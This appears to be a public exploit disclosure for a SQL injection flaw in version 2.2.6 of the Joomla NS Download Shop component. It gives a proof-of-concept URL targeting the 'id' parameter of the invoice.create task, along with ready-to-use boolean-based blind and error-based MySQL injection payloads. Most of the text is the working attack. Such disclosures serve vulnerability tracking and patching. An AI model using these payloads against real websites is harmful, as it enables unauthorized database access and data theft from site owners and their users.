Joomla NS Download Shop component version 2.2.6 suffers from a remote SQL injection vulnerability.
a43b8d5c1b11e22528918645b7eec3a8# # # # #
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: https://nswd.co/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/
# Demo: https://ds.nswd.co/
# Version: 2.2.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]
#
# Parameter: id (GET)
# Type: boolean-based blind
# Title: MySQL >= 5.0 boolean-based blind - Parameter replace
# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))
#
# Type: error-based
# Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
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# Etc..
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